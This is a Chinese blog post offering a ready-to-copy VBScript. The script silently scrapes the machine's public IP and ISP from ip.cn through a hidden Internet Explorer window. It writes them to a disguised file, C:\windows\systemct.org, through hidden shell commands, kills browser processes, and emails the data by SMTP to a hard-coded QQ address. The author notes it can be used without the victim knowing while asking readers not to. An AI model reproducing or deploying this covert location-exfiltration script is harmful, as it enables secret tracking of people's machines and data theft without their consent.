温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

vbs-获取公网IP调用邮件控件实现邮件的自动发送到指定邮箱-可直接使用复制使用

发布时间:2020-08-05 20:15:30 来源:网络 阅读:1271 作者:黄宝良 栏目:软件技术

vbs-获取公网IP调用邮件控件实现邮件的自动发送到指定邮箱-可直接使用复制使用

on error resume next
set ie=CreateObject("internetexplorer.application")
ie.navigate("http://ip.cn/")
ie.Visible=False
While ie.busy Or ie.readystate <> 4
WEnd
Set regEx = New RegExp 
regEx.Pattern = "{联通|移动|电信}"
Set Matches = regEx.Execute(ie.document.body.innerhtml)
For Each Match in Matches
COSP=Match.Value
Next
Sub EchoMsg(str)
Wscript.Echo str
End Sub

on error resume next
set ie=CreateObject("internetexplorer.application")
ie.navigate("http://ip.cn/")
ie.Visible=False
While ie.busy Or ie.readystate <> 4
WEnd
Set regEx = New RegExp 
regEx.Pattern = "来自.*"&COSP&""
Set Matches = regEx.Execute(ie.document.body.innerhtml)
ie.quit
For Each Match in Matches
FROM=Match.Value’定义标题定义为FORM
Next
Set ws = CreateObject("Wscript.Shell") 
ws.run "%comspec% /c @echo "&FROM&" > C:\windows\systemct.org",vbhide
Sub EchoMsg(str)
Wscript.Echo str
End Sub
'----------------------------------------------------------------------------
on error resume next
set ie=CreateObject("internetexplorer.application")
ie.navigate("http://ip.cn/")
ie.Visible=False
While ie.busy Or ie.readystate <> 4
WEnd
Set regEx = New RegExp
regEx.Pattern ="\d.*\d"
Set Matches = regEx.Execute(ie.document.body.innerhtml)
ie.quit
For Each Match in Matches
RetStr=Match.Value ’获取公网IP定义变量为RetStr
Next
Set ws = CreateObject("Wscript.Shell") 
ws.run "%comspec% /c @echo 公IP:"&RetStr&" >> C:\windows\systemct.org",vbhide
Sub EchoMsg(str)
Wscript.Echo str
End Sub
'杀死浏览器进程
On Error Resume Next 
sub Close_Process(ProcessName) 
On Error Resume Next 
     for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ 
           if Ucase(ps.name)=Ucase(ProcessName) then 
                 ps.terminate 
           end if 
     next 
end sub 
Close_Process("iexplore.exe")
Close_Process("iexplore.exe")
'--------------------------------------------------------------------------------
NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
'Email.From = "*@163.com"’发件地址
Email.From = "*@163.com"
Email.To = "738349140@qq.com"’收件地址
Email.Subject = ""&FROM&""
Email.Textbody = "公网IP:"&RetStr&""
Email.AddAttachment "C:\windows\systemct.org"
With Email.Configuration.Fields
.Item(NameSpace&"sendusing") = 2
.Item(NameSpace&"smtpserver") = "smtp.163.com" ’mail服务器地址提示,貌似只有163可以用
.Item(NameSpace&"smtpserverport") = 25
.Item(NameSpace&"smtpauthenticate") = 1
.Item(NameSpace&"sendusername") = "*"’登陆账号名
.Item(NameSpace&"sendpassword") = "*"’登陆密码
.Update
End With
Email.Send


此脚本可以在别人不知情的情况下使用,但是还请不要这样去做。
向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI